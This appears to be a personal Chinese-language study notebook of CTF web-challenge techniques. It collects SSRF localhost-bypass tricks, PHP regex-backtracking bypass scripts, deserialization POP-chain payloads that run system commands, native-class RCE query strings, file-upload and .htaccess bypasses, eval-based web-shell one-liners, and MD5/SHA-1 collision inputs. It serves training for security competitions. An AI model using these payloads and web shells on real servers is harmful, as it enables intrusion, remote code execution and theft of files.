www.zip/rar/tar.gz
ls命令被绕过了的话,可以试试dir
可能用到PHP伪协议的几个文件包含函数
- 可能遇到的文件包含函数:
- include
- require
- include_once
- require_once
- highlight_file
- show_source
- flie
- readfile
- file_get_contents
- file_put_contents
- fopen (比较常见)
Flask之session伪造
python flask_session_cookie_manager3.py encode -s "woshicaiji" -t "{'username': b'admin'}"
这种问题首先就是,想要伪造就必定会有密钥,由一定几率会在名字为config的文件下,然后就是他得是flask框架,还得要有session才行,如果没有(有一次就遇到了),那就自己在bp加一个Cookie:session=
PHP strcmp() 函数
作用是比较两个字符串,可以使用数组绕过
SSRF普通姿势
127.0.0.1的各种转化
- 0.0.0.0
- 0
- 127.1
- localhost
- http://127.0.0.1/flag.php短网址:surl-2.cn/0nPI
- DNS重定向
- 2130706433(十进制)
- 0x7f.0.0.1(十六进制)或者是0x7F000001
- 0177.0.0.1(八进制)
- @127.0.0.1(@绕过前面的网址)
- 0:80(端口绕过)
- 127。0。0。1
- http://nip.io ; http://sslip.io(特殊域名绕过)
一些可以解析成127.0.0.1的公共域名
- http://safe.taobao.com/ #注意最后的pyload应有两条/
- http://114.taobao.com/
- http://wifi.aliyun.com/
- http://imis.qq.com/
- http://localhost.sec.qq.com/
- http://ecd.tencent.com/
一些常见的限制绕过
1.限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过,即@
http://www.xxx.com@www.xxc.com
2.限制请求IP不为内网地址
当不允许ip为内网地址时:
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换
3.限制请求只为http协议
(1)采取302跳转
(2)采取短地址
常见的SSRF伪协议
- file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
- dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
- sftp:// SSH文件传输协议或安全文件传输协议
- ldap:// 轻量级目录访问协议
- tftp:// 简单文件传输协议
- gopher:// 分布式文档传递服务,可使用gopherus生成payload
/proc/self/environ:用于查看当前进程下的环境变量,可能包含用户信息。/proc目录就是查询进程目录的接口,/self 就是用来读取当前进程的接口
目前遇到的一些SSRF小经验
目前来说,会遇到一些文字提示得注意,不要老是不知道这说的是啥意思
首先第一种就是:flag in localhost
这种就是告诉我们,要SSRF,就是访问127.0.0.1的意思
通常这种东西后面还会跟上,end with 123
这就是说,要把127.0.0.1变成127.0.0.123
然后第二种就是:用个不安全的网络协议
这个讲的也是使用127.0.0.1
Web HTTP相关经验小总结
- GET 发送请求来获得服务器上的资源,请求体中不会包含请求数据,请求数据放在协议头中。另外get支持快取、缓存、可保留书签等。幂等
- POST 和get一样很常见,向服务器提交资源让服务器处理,比如提交表单、上传文件等,可能导致建立新的资源或者对原有资源的修改。提交的资源放在请求体中。不支持快取。非幂等
- HEAD 本质和get一样,但是响应中没有呈现数据,而是http的头信息,主要用来检查资源或超链接的有效性或是否可以可达、检查网页是否被串改或更新,获取头信息等,特别适用在有限的速度和带宽下。
- PUT 和post类似,html表单不支持,发送资源与服务器,并存储在服务器指定位置,要求客户端事先知道该位置;比如post是在一个集合上(/province),而put是具体某一个资源上(/province/123)。所以put是安全的,无论请求多少次,都是在123上更改,而post可能请求几次创建了几次资源。幂等
- DELETE 请求服务器删除某资源。和put都具有破坏性,可能被防火墙拦截。如果是https协议,则无需担心。幂等
- CONNECT HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。就是把服务器作为跳板,去访问其他网页然后把数据返回回来,连接成功后,就可以正常的get、post了。
- OPTIONS 获取http服务器支持的http请求方法,允许客户端查看服务器的性能,比如ajax跨域时的预检等。
- TRACE 回显服务器收到的请求,主要用于测试或诊断。一般禁用,防止被恶意攻击或盗取信息。
请求方法
当遇到题目提示是用某某某方法发送请求的则需要修改请求方法
从内网访问
若提示是从内网访问,或者说需要某某IP才能访问的则需要用到X-Forwarded-For
头伪装,有时候要把X-Forwarded-For的三个参数都输入。
当X-Forwarded-For
被禁用时,可以使用X-Client-ip或者是X-Real-IP
从某网站跳转
若提示说访问此网站得由某某网站中访问,则需要改Referer
头
身份为admin才可以访问
若提示说身份为admin才可访问的,一般是修改cookie
从某某浏览器访问
若提示说要从某某浏览器访问则需要改user-agent
local access only或者是use own conputer
就是告诉我们xff得是127.0.0.1
提到苹果或者是Macos
提示我们要去查看.DS_store
某某代理
使用via
某某时间
标准格式如下:Date:Tue, 20 Aug 2024 00:00:00 GMT
回溯绕过
preg_match()的匹配存在回溯,回溯次数上限是1000000次,超过上限后函数直接返回false
如果遇到以下几种代码,有可能就会遇到回溯绕过
if(preg_match('/SELECT.+FROM.+/is', $input))
{
die('SQL Injection');
}
或者是
if(preg_match('/UNION.+?SELECT/is', $input)) {
die('SQL Injection');
}
这样子看这些规律的话,应该是又出现加号之类的,可能会用到回溯绕过?
这里再次回头补充,以上案例是涉及到非贪婪模式匹配,.+?的形式应该是其特点之一,
最后贴个代码 POST版
import requests
data={"pan[gu":"a"*(1000000)+"2023ISCTF"}
url="http://47.109.106.104:9999/?hongmeng[]=1&shennong[]=2&zhurong[]=1"
res = requests.post(data=data,url=url)
print(res.text)
再贴一个POST过滤版,但是他这个输出是jscode的形式,可以修改
import requests
payload='{"cmd":"?><?= `tail /f*`?>","test":"' + "@"*(1000000) + '"}'
res = requests.post("http://node4.anna.nssctf.cn:28038/", data={"letter":payload})
print(res.text)
GET版
import requests
from io import BytesIO
data=BytesIO(b'secret'+b'a'*1000000)
res=requests.get('url'+str(data))
print(res.content)
这个代码是在做这道题目的时候碰到的
能看到的规律有,如果有出现+?的形式,那多半是这个问号要绕过100万次,再总结一下适用的场景,目前只遇到过要是正则匹配出现===false或者是遇到==false的时候,会用到这个方法。好像也并非一定,但是总归是围绕过正则匹配提供了一种思路。
还看到了一种绕过姿势,一并记了吧,就是.号绕过,在正则匹配的样子应该是 .*(flag).* 这样子的,可用换行%0a绕过。
关于回溯绕过的一些补充
最近又碰到了一道题目,同样需要回溯绕过,首先先完善一下正则匹配的NFA机制,NFA机制是遵循从后往前去匹配的一个原则,比如我去匹配.*[a]和abcd,.*会先匹配一整串的abcd,然后因为后面有个[a],于是他会依次从d开始吐出匹配,开始是abcd,然后就是abc,再ab,以此类推,一直到a,匹配成功。同时这个正则匹配是将所有案例匹配完后才能返回bool值,也就是说,没有匹配完的话,是不会返回bool值的。所以要利用这个特性就要有一个特殊的字符——.*,这个字符表示可以匹配任意字符,然后再根据限制条件让他进入回溯状态,就可以打破它的回溯上线完成绕过,而回溯绕过的上线是一百万次,于是就可以通过上面的脚本,得到flag
php反序列化pop链思路总结
pop链的解题思路为,先找危险函数,include(),eval()之类的函数,在此之上开始倒推,逆向出整条pop链,开始构造exp
常见的魔术方法汇总
- __call 调用不可访问或不存在的方法时被调用
- __callStatic 调用不可访问或不存在的静态方法时被调用
- __clone 进行对象clone时被调用,用来调整对象的克隆行为
- __constuct 构建对象的时被调用;
- __debuginfo 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
- __destruct 明确销毁对象或脚本结束时被调用;
- __get 读取不可访问或不存在属性时被调用
- __invoke 当以函数方式调用对象时被调用
- __isset 对不可访问或不存在的属性调用isset()或empty()时被调用
- __set 当给不可访问或不存在属性赋值时被调用
- __set_state 当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
- __sleep 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
- __toString 当一个类被转换成字符串时被调用
- __unset 对不可访问或不存在的属性进行unset时被调用
- __wakeup 当使用unserialize时被调用,可用于做些对象的初始化操作
__wakeup 一定会调用
__destruct 一定会调用
__toString 当一个对象被反序列化后又被当做字符串使用
反序列化的常见中间跳板:
__toString 当一个对象被当做字符串使用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用。形如 $this->$func();
反序列化的常见终点:
__call 调用不可访问或不存在的方法时被调用
call_user_func 一般php代码执行都会选择这里
call_user_func_array 一般php代码执行都会选择这里
经验之谈:
__get:在遇到像 a->b->c 这种的时候,使用b对象这个不存在的对象,可以激活get方法。
还有当调用到私有变量的时候,也可以激活get方法
__toString:按我现在的理解的话,pop链之间的跳板,用于跳到下一个类。在构造类似 $a->b=$c 时,会触发,toString方法。
字符串的拼接,大小写,或者是黑名单都会调用到toString方法
__invoke:在遇到return $funtion();的时候,会触发这个方法。
$b = $this->a;
$b($this->title);
出现这两个组合代码时,就可以构造system(‘cat /flag’);
call_user_func()函数会触发invoke方法,这个函数的第一个函数会将第一个参数当作是回调函数
__get 是访问不存在的属性,或者私有变量
__call 调用不存在的方法
遇到了一题比较有意思的题目,附上源代码如下:
<?php
show_source(__FILE__);
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
include("flag.php");//here I changed those two
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}
?>
很明显这是一道反序列化的题目,因为出现了unserialize()这个经典的反序列化函数,但是让我摸不着头脑的是我该如何去构造这个反序列化,后来发现了构造数组这个没见过的方法,直接上pyload
<?php
$ab=array(
'username'=>true,
'password'=>true"
);
$b=serialize($ab);
echo $b;
?>
为什么会有true?很简单,因为源代码中出现了两个弱比较 ==,而true在弱比较中,显然始终是正确的。
PHP反序列化原生类和伪协议
今天做到一道题目发现他是没有危险函数的,而且也没有输出函数,题目源代码如下
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}
class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}
class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}
if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>
可以通过审计全篇代码发现没有任何的危险函数,但是确有这种语句: echo new $_POST[‘a’]($_POST[‘b’]);这个时候就要用到PHP原生类来读取文件,原生类为SplFileObject
反序列化代码如下
<?php
class teacher{
public $name;
public $rank;
private $salary;
}
class classroom{
public $name;
public $leader;
}
class school{
public $department;
public $headmaster;
}
$a=new teacher();
$b=new classroom();
$c=new school();
$c->department=$b;
$c->headmaster='ong';
$b->leader=$a;
$b->name='one class';
$a->name='ing';
$a->rank='department';
echo base64_encode(serialize($c));
?>
payload如下
对此也是去搜集了一些常用的内置类
- Error
- Exception
- SoapClient
- DirectoryIterator
- FilesystemIterator
- SplFileObject
- SimpleXMLElement
至于各自的作用,有空了再研究吧
再贴一个别的题目的payload
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());
?a=SplFileObject&aa=data://text/plain,system&c=__toString&b=SplFileObject&bb=data://text/plain,cat%20/flag
这个是拼接原生类的模式,然后中间需要一个__toString魔术方法去将变量转换成字符串
关于php原生类的学习
SplFileObject是用于读取文件的原生类,感觉用到原生类的话,可能等都需要使用到伪协议;Filesystemlterator是用于搜寻文件路径的原生类,看到一道题目是配合glob协议来进行文件查找
glob://协议,查找文件路径
Error、Exception原生类
建立报错信息,开启报错
一个作用首先是后面提到过的Error原生类绕过md5,华友一个作用就是构造xss。
$a = new Error("<script>alert('xss')</script>");
根据这个这个代码就可以构建报错信息达到xss注入的效果
a=ArrayIterator&aa[]=system&c=current&b=ArrayIterator&bb[]=ls /
ArrayIterator类
可调用current方法返回当前值,并且属性需要传入数组
a=ArrayIterator&aa[]=system&c=current&b=ArrayIterator&bb[]=cat /f*
PHP7对于对象类型不敏感
今天碰到一道题目
<?php
include "flag.php";
class Index{
private $Polar1;
private $Polar2;
protected $Night;
protected $Light;
function getflag($flag){
$Polar2 = rand(0,100);
if($this->Polar1 === $this->Polar2){
$Light = rand(0,100);
if($this->Night === $this->Light){
echo $flag;
}
}
else{
echo "Your wrong!!!";
}
}
}
if(isset($_GET['sys'])){
$a = unserialize($_GET['sys']);
$a->getflag($flag);
}
else{
highlight_file("index.php");
}
?>
这道题目的用的是php7,所以可以直接把private $Polar1和private $Polar2;全部都转换成共有的public,再说说这道题日的相等思路,直接赋值地址就可以了
看到一个小方法就是当php反序列化的时候,如果被正则过滤了可以使用16进制绕过
PHPGC绕过
打源鲁杯的时候碰到的一个知识点
throw new Exception("Nope");
一开始很疑惑这是什么意思,后来才知道这是GC回收(垃圾回收机制)
我们都知道,php反序列化的时候_destruct()方法会自动触发,因为一个类在创建之后会自动销毁,然后就会自动触发此类方法,而此时throw自动回收了被销毁的类,导致_distruct()方法不能被触发。所以遇到这个函数就代表着要去绕过它
绕过方法有两种
(1)对象被unset()处理时,可以触发。
(2)数组对象为NULL时,可以触发。
运行得到:
a:2:{i:0;O:5:”Start”:1:{s:6:”errMsg”;O:6:”Crypto”:1:{s:3:”obj”;O:7:”Reverse”:1:{s:4:”func”;O:3:”Pwn”:1:{s:3:”obj”;O:3:”Web”:2:{s:4:”func”;s:6:”system”;s:3:”var”;s:7:”cat /f*”;}}}}}i:1;i:0;}
我们将最后的 i:1 替换为 i:0
即:
a:2:{i:0;O:5:”Start”:1:{s:6:”errMsg”;O:6:”Crypto”:1:{s:3:”obj”;O:7:”Reverse”:1:{s:4:”func”;O:3:”Pwn”:1:{s:3:”obj”;O:3:”Web”:2:{s:4:”func”;s:6:”system”;s:3:”var”;s:7:”cat /f*”;}}}}}i:0;i:0;}
PHP反序列化is_file()函数绕过
php伪协议绕过
MD5(INF)===MD5(9e99999)
在打ctfshow的单身狗杯时遇到了一道题目
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow {
private $d = '';
private $s = '';
private $b = '';
private $ctf = '';
public function __destruct() {
$this->d = (string)$this->d;
$this->s = (string)$this->s;
$this->b = (string)$this->b;
if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
$dsb = $this->d.$this->s.$this->b;
if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
if (md5($dsb) === md5($this->ctf)) {
echo file_get_contents("/flag.txt");
}
}
}
}
}
}
unserialize($_GET["dsbctf"]);
可以看到这道题目要求我们输入$b、$s、$d这三个参数,如果这三个参数不相等,就会拼接在一起成为$bsd,然后与$ctf作比较,如果不相等且MD5值强相等,就输出flag
这个时候,我首先遇到的难点是,MD5爆破不出来,也就是说,无法进行MD5碰撞来获得到正确答案,后来就发现了PHP里一个特别的东西叫INF(无穷大),
相关博客:【反序列化】md5_tricks反序列化INF绕过_md5反序-CSDN博客
而众所周知,在科学计数法中,9e99999也代表着无限大,然后因为科学计数法的特殊性,只计数 9 e +这三个数,所以长度为三,那么他们的md5会相等吗
于是直接上来一手构造
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow {
private $d = '';
private $s = '';
private $b = '';
private $ctf = '';
public function __construct()
{
$this->d='I';
$this->s='N';
$this->b='F';
$this->ctf=9e99999;
}
public function __destruct() {
$this->d = (string)$this->d;
$this->s = (string)$this->s;
$this->b = (string)$this->b;
if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
$dsb = $this->d.$this->s.$this->b;
if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
if (md5($dsb) === md5($this->ctf)) {
echo file_get_contents("/flag.txt");
}
}
}
}
}
}
$a=new ctfshow();
echo urlencode(serialize($a));
这里必须得记得urlencode我们序列化的值,踩过的坑,不必多说。
date()函数绕过
date()函数会将一个字符串按照特定的时间格式进行转义,这个时候就要使用\防止转义
看了一篇文章,取反绕过不能在php5中使用
搜集一些.htaccess文件的命令
Sethandlerapplication/x-httpd-php:将文件都按照PHP文件来执行,这样插进去一个PNG的文件也可以作为PHP文件执行,从而控制网站
AddType application/x-httpd-php .png //.png文件当作php文件解析
普通文件上传的几类思路
前台JS绕过
一句话木马
双写后缀绕过
.htaccess文件
user.ini文件
使用%00截断有两个条件
- php版本小于5.3.4
- magic_quotes_gpc为off状态
文件头检查:
这里可以每次写一句话的时候,顺手写个GIF89a也不是不行。
MIME绕过:
修改Content-Type类型
MIME类型校验
就是我们在上传文件到服务端的时候,服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测,如果是白名单所允许的,则可以正常上传,否则上传失败。
PHP四种标记风格
1.XML风格
<?php eval($_POST[‘cmd’]);?>
php推荐使用的标记风格。
服务器管理员无法禁用,所有服务器上均可使用该风格。
2.脚本风格
<script language=”php”> eval($_POST[‘cmd’]); </script>
默认开启,无法禁用
曾遇到过一CTF题目,要求上传shell,但是却对文件内容做了过滤 ,<? 以及 php,替换为了空格。此种风格中,language的值,大小写都可以,因此可以构造如下代码进行绕过
<script language=”PhP”> eval($_POST[‘cmd’]); </script>
3.简短风格
<? eval($_POST[‘cmd’]); ?>
此种风格需要在配置文件php.ini中启用short_open_tage选项
此种风格在许多环境中默认是不支持的
4.ASP风格
<% eval($_POST[‘cmd’]); %>
此种风格需要在配置文件php.ini中启用asp_tag选项
在默认情况下是禁用的
5.上次看到了hz的一种绕过<?php黑名单的方法,就是<?=
Apache文件上传解析漏洞
index.php.asc.cdb格式的,就是多后缀。Apache对文件名后缀的识别是从后往前进行的,当遇到不认识的后缀时,继续往前,直到识别。也就是说如果在Apache服务器下将php后缀写入黑名单,是可以通过多后缀的形式将其绕过的。
SSTI之Jinja2
今天做到一道题目时SSTI注入,然后发现他是python的Jinja2框架,很明显,需要用到Jinja2的诸如语法,很可惜的是,我不会,但是这个时候我发现了一个工具,叫做fenjing,可以一键梭哈这个框架,下面是使用这个工具的命令,防止我忘记了。
第一个命令是
python -m fenjing webui
这个命令就是可以打开一个类似网页的东西,怎么说呢,就是整的比较花哨一点吧。
第二个命令是
python -m fenjing scan –url ‘http://xxxx:xxx/yyy’
这个就比较普通了,就是在kali的虚拟终端上面跑。
总的来说,体验下来感觉是非常牛逼的,等有机会了再深挖一下其他功能。
关于JS审计那些事儿
关于JS这类签到题,有时候会需要修改JS代码的操作,让我总是没有什么头绪,因为我不知道怎么改,今天刚发现,诀窍是将网页保存下来修改JS代码,然后,在下载出打开html文件,就可以了。
PHP的字符串解析特性绕过Waf
当我们遇到传参的数值不让是字母的时候,我们可以用 ?空格num= 的形式进行绕过,然后就可以用到上面的无参RCE。
CVE-2020-7066
PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()
’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。
在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。
也就是说,可以%00截断
MD5强比较
$a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
$b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
array1=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&array2=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab
$data1=”\xd1\x31\xdd\x02\xc5\xe6\xee\xc4\x69\x3d\x9a\x06\x98\xaf\xf9\x5c\x2f\xca\xb5\x07\x12\x46\x7e\xab\x40\x04\x58\x3e\xb8\xfb\x7f\x89\x55\xad\x34\x06\x09\xf4\xb3\x02\x83\xe4\x88\x83\x25\xf1\x41\x5a\x08\x51\x25\xe8\xf7\xcd\xc9\x9f\xd9\x1d\xbd\x72\x80\x37\x3c\x5b\xd8\x82\x3e\x31\x56\x34\x8f\x5b\xae\x6d\xac\xd4\x36\xc9\x19\xc6\xdd\x53\xe2\x34\x87\xda\x03\xfd\x02\x39\x63\x06\xd2\x48\xcd\xa0\xe9\x9f\x33\x42\x0f\x57\x7e\xe8\xce\x54\xb6\x70\x80\x28\x0d\x1e\xc6\x98\x21\xbc\xb6\xa8\x83\x93\x96\xf9\x65\xab\x6f\xf7\x2a\x70″;
$data2=”\xd1\x31\xdd\x02\xc5\xe6\xee\xc4\x69\x3d\x9a\x06\x98\xaf\xf9\x5c\x2f\xca\xb5\x87\x12\x46\x7e\xab\x40\x04\x58\x3e\xb8\xfb\x7f\x89\x55\xad\x34\x06\x09\xf4\xb3\x02\x83\xe4\x88\x83\x25\x71\x41\x5a\x08\x51\x25\xe8\xf7\xcd\xc9\x9f\xd9\x1d\xbd\xf2\x80\x37\x3c\x5b\xd8\x82\x3e\x31\x56\x34\x8f\x5b\xae\x6d\xac\xd4\x36\xc9\x19\xc6\xdd\x53\xe2\xb4\x87\xda\x03\xfd\x02\x39\x63\x06\xd2\x48\xcd\xa0\xe9\x9f\x33\x42\x0f\x57\x7e\xe8\xce\x54\xb6\x70\x80\xa8\x0d\x1e\xc6\x98\x21\xbc\xb6\xa8\x83\x93\x96\xf9\x65\x2b\x6f\xf7\x2a\x70″;
SHA-1碰撞
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC